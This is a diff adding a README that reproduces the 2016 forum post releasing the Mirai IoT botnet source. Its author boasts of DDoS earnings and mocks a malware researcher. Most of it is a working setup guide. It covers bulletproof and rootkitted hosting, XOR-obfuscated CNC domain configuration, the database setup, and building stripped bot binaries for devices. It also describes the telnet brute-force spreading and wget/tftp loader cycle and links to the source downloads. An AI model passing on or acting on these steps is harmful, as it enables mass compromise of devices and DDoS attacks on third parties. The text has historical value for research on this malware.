|
| 1 | +* Original quote from: [Anna-senpai](https://hackforums.net/showthread.php?tid=5420472) |
| 2 | +* Date posted: Fri 30 Sep 19:50:52 UTC 2016 |
| 3 | +* [See original archived post](ForumPost.txt) |
| 4 | + |
| 5 | +# Preface |
| 6 | + |
| 7 | +Greetz everybody, |
| 8 | + |
| 9 | +When I first go in DDoS industry, I wasn't planning on staying in it long. I |
| 10 | +made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. |
| 11 | +However, I know every skid and their mama, it's their wet dream to have |
| 12 | +something besides qbot. |
| 13 | + |
| 14 | +So today, I have an amazing release for you. With Mirai, I usually pull max 380k |
| 15 | +bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting |
| 16 | +down and cleaning up their act. Today, max pull is about 300k bots, and |
| 17 | +dropping. |
| 18 | + |
| 19 | +So, I am your senpai, and I will treat you real nice, my hf-chan. |
| 20 | + |
| 21 | +And to everyone that thought they were doing anything by hitting my CNC, I had |
| 22 | +good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to |
| 23 | +reconnect, lol |
| 24 | + |
| 25 | +Also, shoutout to this blog post by malwaremustdie |
| 26 | + |
| 27 | +* http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html |
| 28 | +* https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html |
| 29 | + <- backup in case low quality reverse engineer unixfreaxjp decides to edit his |
| 30 | + posts lol |
| 31 | + |
| 32 | +Had a lot of respect for you, thought you were good reverser, but you |
| 33 | +really just completely and totally failed in reversing this binary. "We still |
| 34 | +have better kung fu than you kiddos" don't make me laugh please, you made so |
| 35 | +many mistakes and even confused some different binaries with my. LOL |
| 36 | + |
| 37 | +Let me give you some slaps back - |
| 38 | + |
| 39 | +1. port `48101` is not for back connect, it is for control to prevent multiple |
| 40 | + instances of bot running together |
| 41 | +2. `/dev/watchdog` and `/dev/misc` are not for "making the delay", it for |
| 42 | + preventing system from hanging. This one is low-hanging fruit, so sad that |
| 43 | + you are extremely dumb |
| 44 | +3. You failed and thought `FAKE_CNC_ADDR` and `FAKE_CNC_PORT` was real CNC, lol |
| 45 | + "And doing the backdoor to connect via HTTP on 65.222.202.53". you got |
| 46 | + tripped up by signal flow ;) try harder skiddo |
| 47 | +4. Your skeleton tool sucks ass, it thought the attack decoder was "sinden |
| 48 | + style", but it does not even use a text-based protocol? CNC and bot |
| 49 | + communicate over binary protocol |
| 50 | +5. you say 'chroot("/") so predictable like torlus' but you don't understand, |
| 51 | + some others kill based on cwd. It shows how out-of-the-loop you are with real |
| 52 | + malware. Go back to skidland |
| 53 | + |
| 54 | +5 slaps for you |
| 55 | + |
| 56 | +Why are you writing reverse engineer tools? You cannot even correctly reverse in |
| 57 | +the first place. Please learn some skills first before trying to impress others. |
| 58 | +Your arrogance in declaring how you "beat me" with your dumb kung-fu statement |
| 59 | +made me laugh so hard while eating my SO had to pat me on the back. |
| 60 | + |
| 61 | +Just as I forever be free, you will be doomed to mediocracy forever. |
| 62 | + |
| 63 | + |
| 64 | +# Requirements |
| 65 | + |
| 66 | +### Bare Minimum |
| 67 | + |
| 68 | +2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading |
| 69 | + |
| 70 | +### Pro Setup (my setup) |
| 71 | + |
| 72 | +2 VPS and 4 servers |
| 73 | + |
| 74 | +* 1 VPS with extremely bulletproof host for database server |
| 75 | +* 1 VPS, rootkitted, for scanReceiver and distributor |
| 76 | +* 1 server for CNC (used like 2% CPU with 400k bots) |
| 77 | +* 3x 10gbps NForce servers for loading (distributor distributes to 3 servers |
| 78 | + equally) |
| 79 | + |
| 80 | + |
| 81 | +# Infrastructure Overview |
| 82 | + |
| 83 | +* To establish connection to CNC, bots resolve a domain |
| 84 | + ([`resolv.c`](mirai/bot/resolv.c)/[`resolv.h`](mirai/bot/resolv.h)) and |
| 85 | + connect to that IP address |
| 86 | +* Bots brute telnet using an advanced SYN scanner that is around 80x faster than |
| 87 | + the one in qbot, and uses almost 20x less resources. When finding bruted |
| 88 | + result, bot resolves another domain and reports it. This is chained to a |
| 89 | + separate server to automatically load onto devices as results come in. |
| 90 | +* Bruted results are sent by default on port 48101. The utility called |
| 91 | + scanListen.go in tools is used to receive bruted results (I was getting around |
| 92 | + 500 bruted results per second at peak). If you build in debug mode, you should |
| 93 | + see the utitlity scanListen binary appear in debug folder. |
| 94 | + |
| 95 | +Mirai uses a spreading mechanism similar to self-rep, but what I call |
| 96 | +"real-time-load". Basically, bots brute results, send it to a server listening |
| 97 | +with `scanListen` utility, which sends the results to the loader. This loop |
| 98 | +(`brute -> scanListen -> load -> brute`) is known as real time loading. |
| 99 | + |
| 100 | +The loader can be configured to use multiple IP address to bypass port |
| 101 | +exhaustion in linux (there are limited number of ports available, which means |
| 102 | +that there is not enough variation in tuple to get more than 65k simultaneous |
| 103 | +outbound connections - in theory, this value lot less). I would have maybe 60k - |
| 104 | +70k simultaneous outbound connections (simultaneous loading) spread out across 5 |
| 105 | +IPs. |
| 106 | + |
| 107 | +# Configuring Bot |
| 108 | + |
| 109 | +Bot has several configuration options that are obfuscated in `table.c/table.h`. |
| 110 | +In [`./mirai/bot/table.h`](mirai/bot/table.h) you can find most descriptions for |
| 111 | +configuration options. However, in [`./mirai/bot/table.c`](mirai/bot/table.c) |
| 112 | +there are a few options you *need* to change to get working. |
| 113 | + |
| 114 | +* `TABLE_CNC_DOMAIN` - Domain name of CNC to connect to - DDoS avoidance very |
| 115 | + fun with mirai, people try to hit my CNC but I update it faster than they can |
| 116 | + find new IPs, lol. Retards :) |
| 117 | +* `TABLE_CNC_PORT` - Port to connect to, its set to 23 already |
| 118 | +* `TABLE_SCAN_CB_DOMAIN` - When finding bruted results, this domain it is |
| 119 | + reported to |
| 120 | +* `TABLE_SCAN_CB_PORT` - Port to connect to for bruted results, it is set to |
| 121 | + `48101` already. |
| 122 | + |
| 123 | +In [`./mirai/tools`](mirai/tools) you will find something called enc.c - You |
| 124 | +must compile this to output things to put in the table.c file |
| 125 | + |
| 126 | +Run this inside mirai directory |
| 127 | + |
| 128 | + ./build.sh debug telnet |
| 129 | + |
| 130 | +You will get some errors related to cross-compilers not being there if you have |
| 131 | +not configured them. This is ok, won't affect compiling the enc tool |
| 132 | + |
| 133 | +Now, in the `./mirai/debug` folder you should see a compiled binary called enc. |
| 134 | +For example, to get obfuscated string for domain name for bots to connect to, |
| 135 | +use this: |
| 136 | + |
| 137 | + ./debug/enc string fuck.the.police.com |
| 138 | + |
| 139 | +The output should look like this |
| 140 | + |
| 141 | + XOR'ing 20 bytes of data... |
| 142 | + \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22 |
| 143 | + |
| 144 | +To update the `TABLE_CNC_DOMAIN` value for example, replace that long hex string |
| 145 | +with the one provided by enc tool. Also, you see `XOR'ing 20 bytes of data`. |
| 146 | +This value must replace the last argument tas well. So for example, the table.c |
| 147 | +line originally looks like this |
| 148 | + |
| 149 | + add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com |
| 150 | + |
| 151 | +Now that we know value from enc tool, we update it like this |
| 152 | + |
| 153 | + add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com |
| 154 | + |
| 155 | +Some values are strings, some are port (uint16 in network order / big endian). |
| 156 | + |
| 157 | +# Configuring CNC |
| 158 | + |
| 159 | + apt-get install mysql-server mysql-client |
| 160 | + |
| 161 | +CNC requires database to work. When you install database, go into it and run |
| 162 | +following commands: http://pastebin.com/86d0iL9g (ref: |
| 163 | +[`db.sql`](scripts/db.sql)) |
| 164 | + |
| 165 | +This will create database for you. To add your user, |
| 166 | + |
| 167 | + INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ''); |
| 168 | + |
| 169 | +Now, go into file [`./mirai/cnc/main.go`](mirai/cnc/main.go) |
| 170 | + |
| 171 | +Edit these values |
| 172 | + |
| 173 | + const DatabaseAddr string = "127.0.0.1" |
| 174 | + const DatabaseUser string = "root" |
| 175 | + const DatabasePass string = "password" |
| 176 | + const DatabaseTable string = "mirai" |
| 177 | + |
| 178 | +To the information for the mysql server you just installed |
| 179 | + |
| 180 | + |
| 181 | +# Setting Up Cross Compilers |
| 182 | + |
| 183 | +Cross compilers are easy, follow the instructions at this link to set up. You |
| 184 | +must restart your system or reload .bashrc file for these changes to take |
| 185 | +effect. |
| 186 | + |
| 187 | +http://pastebin.com/1rRCc3aD (ref: |
| 188 | +[`cross-compile.sh`](scripts/cross-compile.sh)) |
| 189 | + |
| 190 | +# Building CNC+Bot |
| 191 | + |
| 192 | +The CNC, bot, and related tools: |
| 193 | + |
| 194 | +1. http://santasbigcandycane.cx/mirai.src.zip - *THESE LINKS WILL NOT LAST |
| 195 | + FOREVER, 2 WEEKS MAX - BACK IT UP!*<br> |
| 196 | +  |
| 197 | +2. http://santasbigcandycane.cx/loader.src.zip - *THESE LINKS WILL NOT LAST |
| 198 | + FOREVER, 2 WEEKS MAX - BACK IT UP!* |
| 199 | + |
| 200 | +### How to build bot + CNC |
| 201 | + |
| 202 | +In mirai folder, there is [`build.sh`](mirai/build.sh) script. |
| 203 | + |
| 204 | + ./build.sh debug telnet |
| 205 | + |
| 206 | +Will output debug binaries of bot that will not daemonize and print out info |
| 207 | +about if it can connect to CNC, etc, status of floods, etc. Compiles to |
| 208 | +`./mirai/debug` folder |
| 209 | + |
| 210 | + ./build.sh release telnet |
| 211 | + |
| 212 | +Will output production-ready binaries of bot that are extremely stripped, small |
| 213 | +(about 60K) that should be loaded onto devices. Compiles all binaries in format: |
| 214 | +`mirai.$ARCH` to `./mirai/release` folder |
| 215 | + |
| 216 | + |
| 217 | +# Building Echo Loader |
| 218 | + |
| 219 | +Loader reads telnet entries from STDIN in following format: |
| 220 | + |
| 221 | + ip:port user:pass |
| 222 | + |
| 223 | +It detects if there is wget or tftp, and tries to download the binary using |
| 224 | +that. If not, it will echoload a tiny binary (about 1kb) that will suffice as |
| 225 | +wget. |
| 226 | + |
| 227 | + ./build.sh |
| 228 | + |
| 229 | +Will build the loader, optimized, production use, no fuss. If you have a file in |
| 230 | +formats used for loading, you can do this |
| 231 | + |
| 232 | + cat file.txt | ./loader |
| 233 | + |
| 234 | +Remember to `ulimit`! |
| 235 | + |
| 236 | +Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, |
| 237 | +too much time. All scripts and everything are included to set up working botnet |
| 238 | +in under 1 hours. I am willing to help if you have individual questions (how |
| 239 | +come CNC not connecting to database, I did this this this blah blah), but not |
| 240 | +questions like "My bot not connect, fix it" |
0 commit comments